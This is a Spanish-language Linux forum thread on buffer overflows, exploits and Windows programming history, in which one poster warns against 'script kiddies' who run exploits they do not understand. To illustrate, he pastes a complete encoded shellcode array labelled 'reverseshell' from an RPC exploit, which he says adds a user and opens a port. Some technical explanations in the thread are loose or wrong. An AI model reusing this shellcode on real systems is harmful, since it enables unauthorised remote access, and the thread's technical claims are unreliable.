Al conectarse alguien a ese puerto se redirección una consola hacia la conexión establecida permitiendo así al usuario que ejecuta el exploit controlar la máquina víctima. Les diera explicación de cada línea pero la verdad es mucho y ecualug no es el lugar. Bueno para que entiendan que es un Overflow imaginemos que tenemos una matriz de 2x2 esto nos da cuatro espacios de memoria Estática si no validamos el ingreso de solo 4 datos el usuario de la matriz puede ingresar mas causando un desborde de datos que los cuales el Sistema Operativo debe reconocer y tratar de bloquear la ejecución. En realidad esto es lo que pasa y el Sistema operativo da un minuto para producir un bloqueo general.

Segundo: Saben por que hay más programas conocidos para Windows que para otro sistema operativo? En realidad los motivos son muchos pero uno de los principales es que Windows es mas utilizado y común! Pero por que se dio esto? bueno la respuesta es que por los años 90 – 92 borlad y Microsoft en la versión de Borlad C++ liberaron las principales librerías para crear programas para Windows y MS – Dos (como todos sabemos Microsoft compro Dos ) y Windows en sus versiones antiguas necesitaban de un MS-Dos para ejecutarse, en aquellos tiempos la mayoría de programadores utilizaban C con la venida del Nuevo Borlad C++ y las librerías de Microsoft todos comenzaron a programar (valga la redundancia ) programas para Windows por ello la librería Windows.h desde aquel tiempo la encontraran en todo compilador de C (ya ven por que Bill Gates acaparo tanto software)

Y lo de Raza Metal tiene toda la razon.
soy el peor para la ortografía

Att: Antonio Insuasti ®

Imagen de BitFrost

amigos no nos creamos una guerra santa por culpa del buen Bill, bueno a pesar de todo no es ni su culpa...yo se que eso de bajarse el exploit y solamente ejecutarlo esta mal, es una Lamerada en si, o tambien conocido como Script kiddismo, creo que todos pasamos por eso, bueno eso si se tubo la super dotes para saber que es un ShellCode, sin ni siquiera saber que es, creo que no se aplicaria eso...
Me acuerdo que un dia salio un Exploit para RPC en donde tambien habia un [code:1:1d753f8a2d]unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";[/code:1:1d753f8a2d]
pero en esa partecita inentendible, lo que hacia era crear un usuario, con una clave, y abria un puerto, si se ejecutaba en Linux.
Es por eso de lo malo que es el compilar asi por asi las cosas, aunque aprendes mucho, y te dicen que eres Hacker, eso esta muy lejos de ser cierto...
mis respetos y quisiera saber si alguien se ha puesto a dar una conferencia hacerca de shellcodes y bufferoverflows.
Entender para que sirve o como, son las preguntas que siempre deben hacerse, pero bueno a la final todos pasamos por la etapa Lamer, si no estudiamos y nos dedicamos, nadie nos sacara de ese abismo, solamente estudiando muy arduamente podremos mejorar y quien sabe ser un Hacker de verdad...y si al final ya eres asi y has aprendido mucho ENCAMINANDO a quienes desean de VERDAD aprender mis respetos caso contrario se seguira siendo un LAMER para el resto de la vida... aunque mucho se sepa..

"Education is what remains after one has forgotten everything he learned in school." - Albert Einstein
[img]http://counter.li.org/cgi-bin/certificate.cgi/345468[/img]

Imagen de pepo

En realidad lo comentado por andresgenoves y el que se vea horrible (arian)
Creo que [url=http://www.ecualug.org/index.php?name=PNphpBB2&file=viewtopic&t=329]origina otro hilo de discusión[/url].

------------------------------------------------
Linux User Registered #232544
Jabber : pepo@jabberes.org
Ekiga : pepo@ekiga.net
GnuPG-key : www.keyserver.net